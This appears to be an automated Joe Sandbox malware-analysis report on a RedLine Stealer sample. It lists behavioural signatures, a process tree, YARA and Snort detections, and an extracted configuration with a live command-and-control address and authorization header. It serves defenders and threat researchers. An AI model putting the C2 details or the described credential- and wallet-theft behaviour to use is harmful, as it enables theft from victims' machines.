Edit tour

Windows Analysis Report
W7ANVukbbj.exe

Overview

General Information

Sample Name:	W7ANVukbbj.exe
Original Sample Name:	093a149ea955420c85d54127e964879a.exe
Analysis ID:	815798
MD5:	093a149ea955420c85d54127e964879a
SHA1:	ecef28b8b5ed66fc1226fc0c9e2ce98b89523e76
SHA256:	fd7f4611b78c0f0b264159fcc744604e1a089f9faa381c8e4414a123ff568d19
Tags:	exeRedLineStealer
Infos:

Detection

RedLine

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Yara detected RedLine Stealer

Multi AV Scanner detection for submitted file

Malicious sample detected (through community Yara rule)

Detected unpacking (overwrites its own PE header)

Antivirus / Scanner detection for submitted sample

Detected unpacking (changes PE section rights)

Antivirus detection for dropped file

Multi AV Scanner detection for dropped file

Snort IDS alert for network traffic

Tries to steal Crypto Currency Wallets

Machine Learning detection for sample

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Machine Learning detection for dropped file

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Tries to harvest and steal browser information (history, passwords, etc)

Uses 32bit PE files

Queries the volume information (name, serial number etc) of a device

Yara signature match

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to query locales information (e.g. system language)

May sleep (evasive loops) to hinder dynamic analysis

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality to shutdown / reboot the system

Uses code obfuscation techniques (call, push, ret)

Internet Provider seen in connection with other malware

Detected potential crypto function

Found potential string decryption / allocating functions

Contains functionality to check the parent process ID (often done to detect debuggers and analysis systems)

Found evasive API chain (may stop execution after checking a module file name)

Yara detected Credential Stealer

Contains functionality to dynamically determine API calls

Contains functionality which may be used to detect a debugger (GetProcessHeap)

PE file contains executable resources (Code or Archives)

IP address seen in connection with other malware

Contains long sleeps (>= 3 min)

Enables debug privileges

Is looking for software installed on the system

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

AV process strings found (often used to terminate AV products)

Found inlined nop instructions (likely shell or obfuscated code)

Sample file is different than original file name gathered from version info

Drops PE files

Contains functionality to read the PEB

Found evasive API chain checking for process token information

Detected TCP or UDP traffic on non-standard ports

Binary contains a suspicious time stamp

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Dropped file seen in connection with other malware

Uses Microsoft's Enhanced Cryptographic Provider

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Classification

Process Tree

System is w10x64

W7ANVukbbj.exe (PID: 6056 cmdline: C:\Users\user\Desktop\W7ANVukbbj.exe MD5: 093A149EA955420C85D54127E964879A)

twl97yF91.exe (PID: 3776 cmdline: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe MD5: 8B79F6A1B67F97CA971CEF540ABF22E7)

uPD30tM82.exe (PID: 5176 cmdline: C:\Users\user\AppData\Local\Temp\IXP000.TMP\uPD30tM82.exe MD5: 763CFA2A099AC8748401DF32FF369ACE)

rundll32.exe (PID: 4184 cmdline: C:\Windows\system32\rundll32.exe" C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\user\AppData\Local\Temp\IXP000.TMP\ MD5: 73C519F050C20580F8A62C849D49215A)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
RedLine Stealer	RedLine Stealer is a malware available on underground forums for sale apparently as standalone ($100/$150 depending on the version) or also on a subscription basis ($100/month). This malware harvests information from browsers such as saved credentials, autocomplete data, and credit card information. A system inventory is also taken when running on a target machine, to include details such as the username, location data, hardware configuration, and information regarding installed security software. More recent versions of RedLine added the ability to steal cryptocurrency. FTP and IM clients are also apparently targeted by this family, and this malware has the ability to upload and download files, execute commands, and periodically send back information about the infected computer.	No Attribution	https://asec.ahnlab.com/en/30445/ https://asec.ahnlab.com/en/35981/ https://asec.ahnlab.com/ko/25837/ https://bartblaze.blogspot.com/2021/06/digital-artists-targeted-in-redline.html https://blog.chainalysis.com/reports/2022-crypto-crime-report-preview-malware/	https://malpedia.caad.fkie.fraunhofer.de/details/win.redline_stealer

Malware Configuration

Threatname: RedLine

{"C2 url": "193.233.20.23:4123", "Bot Id": "ramon", "Authorization Header": "3197576965d9513f115338c233015b40"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
dump.pcap	JoeSecurity_RedLine_1	Yara detected RedLine Stealer	Joe Security

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\Temp\IXP000.TMP\uPD30tM82.exe	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
C:\Users\user\AppData\Local\Temp\IXP000.TMP\uPD30tM82.exe	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1a440:$pat14: , CommandLine: 0x134ab:$v2_1: ListOfProcesses 0x1328a:$v4_3: base64str 0x13e03:$v4_4: stringKey 0x11b63:$v4_5: BytesToStringConverted 0x10d76:$v4_6: FromBase64 0x12098:$v4_8: procName 0x12813:$v5_5: FileScanning 0x11d6c:$v5_7: RecordHeaderField 0x11a34:$v5_9: BCRYPT_KEY_LENGTHS_STRUCT

Memory Dumps

Source	Rule	Description	Author	Strings
00000001.00000003.256499672.0000000002D50000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000001.00000003.256499672.0000000002D50000.00000004.00001000.00020000.00000000.sdmp	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1d0b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x700:$s3: 83 EC 38 53 B0 A8 88 44 24 2B 88 44 24 2F B0 A9 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x1ed8a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1e9d0:$s5: delete[] 0x1de88:$s6: constructor or from DllMain.
00000001.00000002.320815814.0000000000400000.00000040.00000001.01000000.00000004.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000001.00000002.320815814.0000000000400000.00000040.00000001.01000000.00000004.sdmp	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1e4b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x1300:$s3: 83 EC 38 53 B0 A8 88 44 24 2B 88 44 24 2F B0 A9 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x2018a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1fdd0:$s5: delete[] 0x1f288:$s6: constructor or from DllMain.
0000000E.00000000.337013680.00000000002B2000.00000002.00000001.01000000.00000008.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0000000E.00000002.435203327.00000000026CF000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0000000E.00000002.435203327.00000000026CF000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000002.323169357.0000000004DEE000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000001.00000002.322917583.0000000004B10000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000001.00000002.322917583.0000000004B10000.00000004.08000000.00040000.00000000.sdmp	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x2d6ca:$pat14: , CommandLine: 0x1f7b1:$v2_1: ListOfProcesses 0x1ded7:$v4_3: base64str 0x1de96:$v4_4: stringKey 0x1dee1:$v4_5: BytesToStringConverted 0x1decc:$v4_6: FromBase64 0x1f46c:$v4_8: procName 0x1cbbe:$v5_5: FileScanning 0x1cddc:$v5_7: RecordHeaderField 0x1cd0e:$v5_9: BCRYPT_KEY_LENGTHS_STRUCT
00000001.00000002.322488235.0000000002F56000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000001.00000002.321441344.0000000002CB0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000001.00000002.321441344.0000000002CB0000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000001.00000002.333480133.00000000076C0000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000001.00000002.333480133.00000000076C0000.00000004.08000000.00040000.00000000.sdmp	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x2c7e2:$pat14: , CommandLine: 0x1e8c9:$v2_1: ListOfProcesses 0x1cfef:$v4_3: base64str 0x1cfae:$v4_4: stringKey 0x1cff9:$v4_5: BytesToStringConverted 0x1cfe4:$v4_6: FromBase64 0x1e584:$v4_8: procName 0x1bcd6:$v5_5: FileScanning 0x1bef4:$v5_7: RecordHeaderField 0x1be26:$v5_9: BCRYPT_KEY_LENGTHS_STRUCT
00000001.00000003.257010194.0000000002ECF000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000001.00000002.322292427.0000000002E68000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0xe48:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000000.00000003.254929355.0000000004A26000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0000000E.00000002.435203327.000000000290E000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: twl97yF91.exe PID: 3776	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Process Memory Space: twl97yF91.exe PID: 3776	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: uPD30tM82.exe PID: 5176	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Process Memory Space: uPD30tM82.exe PID: 5176	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Click to see the 18 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
1.2.twl97yF91.exe.400000.0.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
1.2.twl97yF91.exe.400000.0.raw.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1e4b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x1300:$s3: 83 EC 38 53 B0 A8 88 44 24 2B 88 44 24 2F B0 A9 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x2018a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1fdd0:$s5: delete[] 0x1f288:$s6: constructor or from DllMain.
0.3.W7ANVukbbj.exe.4a26820.0.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0.3.W7ANVukbbj.exe.4a26820.0.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x18840:$pat14: , CommandLine: 0x118ab:$v2_1: ListOfProcesses 0x1168a:$v4_3: base64str 0x12203:$v4_4: stringKey 0xff63:$v4_5: BytesToStringConverted 0xf176:$v4_6: FromBase64 0x10498:$v4_8: procName 0x10c13:$v5_5: FileScanning 0x1016c:$v5_7: RecordHeaderField 0xfe34:$v5_9: BCRYPT_KEY_LENGTHS_STRUCT
1.2.twl97yF91.exe.2f97bc6.2.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
1.2.twl97yF91.exe.2f97bc6.2.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x2a9e2:$pat14: , CommandLine: 0x1cac9:$v2_1: ListOfProcesses 0x1b1ef:$v4_3: base64str 0x1b1ae:$v4_4: stringKey 0x1b1f9:$v4_5: BytesToStringConverted 0x1b1e4:$v4_6: FromBase64 0x1c784:$v4_8: procName 0x19ed6:$v5_5: FileScanning 0x1a0f4:$v5_7: RecordHeaderField 0x1a026:$v5_9: BCRYPT_KEY_LENGTHS_STRUCT
1.2.twl97yF91.exe.2cb0e67.1.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
1.2.twl97yF91.exe.2cb0e67.1.raw.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1d0b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x700:$s3: 83 EC 38 53 B0 A8 88 44 24 2B 88 44 24 2F B0 A9 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x1ed8a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1e9d0:$s5: delete[] 0x1de88:$s6: constructor or from DllMain.
1.2.twl97yF91.exe.2f96cde.3.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
1.2.twl97yF91.exe.2f96cde.3.raw.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x2d6ca:$pat14: , CommandLine: 0x1f7b1:$v2_1: ListOfProcesses 0x1ded7:$v4_3: base64str 0x1de96:$v4_4: stringKey 0x1dee1:$v4_5: BytesToStringConverted 0x1decc:$v4_6: FromBase64 0x1f46c:$v4_8: procName 0x1cbbe:$v5_5: FileScanning 0x1cddc:$v5_7: RecordHeaderField 0x1cd0e:$v5_9: BCRYPT_KEY_LENGTHS_STRUCT
0.3.W7ANVukbbj.exe.4a26820.0.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0.3.W7ANVukbbj.exe.4a26820.0.raw.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1a440:$pat14: , CommandLine: 0x134ab:$v2_1: ListOfProcesses 0x1328a:$v4_3: base64str 0x13e03:$v4_4: stringKey 0x11b63:$v4_5: BytesToStringConverted 0x10d76:$v4_6: FromBase64 0x12098:$v4_8: procName 0x12813:$v5_5: FileScanning 0x11d6c:$v5_7: RecordHeaderField 0x11a34:$v5_9: BCRYPT_KEY_LENGTHS_STRUCT
1.2.twl97yF91.exe.4b10000.4.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
1.2.twl97yF91.exe.4b10000.4.raw.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x2d6ca:$pat14: , CommandLine: 0x1f7b1:$v2_1: ListOfProcesses 0x1ded7:$v4_3: base64str 0x1de96:$v4_4: stringKey 0x1dee1:$v4_5: BytesToStringConverted 0x1decc:$v4_6: FromBase64 0x1f46c:$v4_8: procName 0x1cbbe:$v5_5: FileScanning 0x1cddc:$v5_7: RecordHeaderField 0x1cd0e:$v5_9: BCRYPT_KEY_LENGTHS_STRUCT
1.2.twl97yF91.exe.400000.0.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
1.2.twl97yF91.exe.400000.0.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1d0b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x700:$s3: 83 EC 38 53 B0 A8 88 44 24 2B 88 44 24 2F B0 A9 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x1ed8a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1e9d0:$s5: delete[] 0x1de88:$s6: constructor or from DllMain.
1.3.twl97yF91.exe.2d50000.0.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
1.3.twl97yF91.exe.2d50000.0.raw.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1d0b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x700:$s3: 83 EC 38 53 B0 A8 88 44 24 2B 88 44 24 2F B0 A9 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x1ed8a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1e9d0:$s5: delete[] 0x1de88:$s6: constructor or from DllMain.
1.2.twl97yF91.exe.76c0000.6.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
1.2.twl97yF91.exe.76c0000.6.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x2a9e2:$pat14: , CommandLine: 0x1cac9:$v2_1: ListOfProcesses 0x1b1ef:$v4_3: base64str 0x1b1ae:$v4_4: stringKey 0x1b1f9:$v4_5: BytesToStringConverted 0x1b1e4:$v4_6: FromBase64 0x1c784:$v4_8: procName 0x19ed6:$v5_5: FileScanning 0x1a0f4:$v5_7: RecordHeaderField 0x1a026:$v5_9: BCRYPT_KEY_LENGTHS_STRUCT
1.2.twl97yF91.exe.4b10000.4.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
1.2.twl97yF91.exe.4b10000.4.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x2b8ca:$pat14: , CommandLine: 0x1d9b1:$v2_1: ListOfProcesses 0x1c0d7:$v4_3: base64str 0x1c096:$v4_4: stringKey 0x1c0e1:$v4_5: BytesToStringConverted 0x1c0cc:$v4_6: FromBase64 0x1d66c:$v4_8: procName 0x1adbe:$v5_5: FileScanning 0x1afdc:$v5_7: RecordHeaderField 0x1af0e:$v5_9: BCRYPT_KEY_LENGTHS_STRUCT
1.3.twl97yF91.exe.2ecf3b8.1.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
1.3.twl97yF91.exe.2ecf3b8.1.raw.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x2c7e2:$pat14: , CommandLine: 0x1e8c9:$v2_1: ListOfProcesses 0x1cfef:$v4_3: base64str 0x1cfae:$v4_4: stringKey 0x1cff9:$v4_5: BytesToStringConverted 0x1cfe4:$v4_6: FromBase64 0x1e584:$v4_8: procName 0x1bcd6:$v5_5: FileScanning 0x1bef4:$v5_7: RecordHeaderField 0x1be26:$v5_9: BCRYPT_KEY_LENGTHS_STRUCT
1.2.twl97yF91.exe.76c0000.6.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
1.2.twl97yF91.exe.76c0000.6.raw.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x2c7e2:$pat14: , CommandLine: 0x1e8c9:$v2_1: ListOfProcesses 0x1cfef:$v4_3: base64str 0x1cfae:$v4_4: stringKey 0x1cff9:$v4_5: BytesToStringConverted 0x1cfe4:$v4_6: FromBase64 0x1e584:$v4_8: procName 0x1bcd6:$v5_5: FileScanning 0x1bef4:$v5_7: RecordHeaderField 0x1be26:$v5_9: BCRYPT_KEY_LENGTHS_STRUCT
1.2.twl97yF91.exe.4b10ee8.5.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
1.2.twl97yF91.exe.4b10ee8.5.raw.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x2c7e2:$pat14: , CommandLine: 0x1e8c9:$v2_1: ListOfProcesses 0x1cfef:$v4_3: base64str 0x1cfae:$v4_4: stringKey 0x1cff9:$v4_5: BytesToStringConverted 0x1cfe4:$v4_6: FromBase64 0x1e584:$v4_8: procName 0x1bcd6:$v5_5: FileScanning 0x1bef4:$v5_7: RecordHeaderField 0x1be26:$v5_9: BCRYPT_KEY_LENGTHS_STRUCT
1.2.twl97yF91.exe.2f97bc6.2.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
1.2.twl97yF91.exe.2f97bc6.2.raw.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x2c7e2:$pat14: , CommandLine: 0x1e8c9:$v2_1: ListOfProcesses 0x1cfef:$v4_3: base64str 0x1cfae:$v4_4: stringKey 0x1cff9:$v4_5: BytesToStringConverted 0x1cfe4:$v4_6: FromBase64 0x1e584:$v4_8: procName 0x1bcd6:$v5_5: FileScanning 0x1bef4:$v5_7: RecordHeaderField 0x1be26:$v5_9: BCRYPT_KEY_LENGTHS_STRUCT
14.0.uPD30tM82.exe.2b0000.0.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
14.0.uPD30tM82.exe.2b0000.0.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1a440:$pat14: , CommandLine: 0x134ab:$v2_1: ListOfProcesses 0x1328a:$v4_3: base64str 0x13e03:$v4_4: stringKey 0x11b63:$v4_5: BytesToStringConverted 0x10d76:$v4_6: FromBase64 0x12098:$v4_8: procName 0x12813:$v5_5: FileScanning 0x11d6c:$v5_7: RecordHeaderField 0x11a34:$v5_9: BCRYPT_KEY_LENGTHS_STRUCT
1.2.twl97yF91.exe.4b10ee8.5.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
1.2.twl97yF91.exe.4b10ee8.5.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x2a9e2:$pat14: , CommandLine: 0x1cac9:$v2_1: ListOfProcesses 0x1b1ef:$v4_3: base64str 0x1b1ae:$v4_4: stringKey 0x1b1f9:$v4_5: BytesToStringConverted 0x1b1e4:$v4_6: FromBase64 0x1c784:$v4_8: procName 0x19ed6:$v5_5: FileScanning 0x1a0f4:$v5_7: RecordHeaderField 0x1a026:$v5_9: BCRYPT_KEY_LENGTHS_STRUCT
1.2.twl97yF91.exe.2f96cde.3.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
1.2.twl97yF91.exe.2f96cde.3.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x2b8ca:$pat14: , CommandLine: 0x1d9b1:$v2_1: ListOfProcesses 0x1c0d7:$v4_3: base64str 0x1c096:$v4_4: stringKey 0x1c0e1:$v4_5: BytesToStringConverted 0x1c0cc:$v4_6: FromBase64 0x1d66c:$v4_8: procName 0x1adbe:$v5_5: FileScanning 0x1afdc:$v5_7: RecordHeaderField 0x1af0e:$v5_9: BCRYPT_KEY_LENGTHS_STRUCT
1.3.twl97yF91.exe.2ecf3b8.1.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x2a9e2:$pat14: , CommandLine: 0x1cac9:$v2_1: ListOfProcesses 0x1b1ef:$v4_3: base64str 0x1b1ae:$v4_4: stringKey 0x1b1f9:$v4_5: BytesToStringConverted 0x1b1e4:$v4_6: FromBase64 0x1c784:$v4_8: procName 0x19ed6:$v5_5: FileScanning 0x1a0f4:$v5_7: RecordHeaderField 0x1a026:$v5_9: BCRYPT_KEY_LENGTHS_STRUCT
Click to see the 32 entries

Snort Signatures

ET TROJAN RedLine Stealer TCP CnC net.tcp Init - Source IP: 192.168.2.3 - Destination IP: 193.233.20.23

Timestamp:	192.168.2.3193.233.20.234973641232043233 02/27/23-09:31:19.481059
SID:	2043233
Source Port:	49736
Destination Port:	4123
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Redline Stealer TCP CnC Activity - Source IP: 192.168.2.3 - Destination IP: 193.233.20.23

Timestamp:	192.168.2.3193.233.20.234973641232043231 02/27/23-09:31:37.882033
SID:	2043231
Source Port:	49736
Destination Port:	4123
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN RedLine Stealer TCP CnC net.tcp Init - Source IP: 192.168.2.3 - Destination IP: 193.233.20.23

Timestamp:	192.168.2.3193.233.20.234969941232043233 02/27/23-09:30:29.261461
SID:	2043233
Source Port:	49699
Destination Port:	4123
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Redline Stealer TCP CnC - Id1Response - Source IP: 193.233.20.23 - Destination IP: 192.168.2.3

Timestamp:	193.233.20.23192.168.2.34123497362043234 02/27/23-09:31:21.995610
SID:	2043234
Source Port:	4123
Destination Port:	49736
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Redline Stealer TCP CnC Activity - Source IP: 192.168.2.3 - Destination IP: 193.233.20.23

Timestamp:	192.168.2.3193.233.20.234969941232043231 02/27/23-09:30:46.338879
SID:	2043231
Source Port:	49699
Destination Port:	4123
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Redline Stealer TCP CnC - Id1Response - Source IP: 193.233.20.23 - Destination IP: 192.168.2.3

Timestamp:	193.233.20.23192.168.2.34123496992043234 02/27/23-09:30:34.424527
SID:	2043234
Source Port:	4123
Destination Port:	49699
Protocol:	TCP
Classtype:	A Network Trojan was detected

Static PE information: Resource name: RT_RCDATA type: Microsoft Cabinet archive data, many, 294082 bytes, 2 files, at 0x2c +A "twl97yF91.exe" +A "uPD30tM82.exe", ID 2151, number 1, 18 datablocks, 0x1503 compression

Source: W7ANVukbbj.exe, 00000000.00000002.461756512.000000000086C000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameWEXTRACT.EXE .MUID vs W7ANVukbbj.exe
Source: W7ANVukbbj.exe, 00000000.00000003.255075633.0000000002E0E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameVaccinium.exe< vs W7ANVukbbj.exe
Source: W7ANVukbbj.exe, 00000000.00000003.254929355.0000000004A26000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameVaccinium.exe< vs W7ANVukbbj.exe
Source: W7ANVukbbj.exe	Binary or memory string: OriginalFilenameWEXTRACT.EXE .MUID vs W7ANVukbbj.exe

Source: Joe Sandbox View

Dropped File: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe F10032D8E8F46511F815FE1AA9B94C8D72D3923E0768E426A513B55CEA07E8E6

Source: W7ANVukbbj.exe	ReversingLabs: Detection: 71%
Source: W7ANVukbbj.exe	Virustotal: Detection: 48%

Source: W7ANVukbbj.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\W7ANVukbbj.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

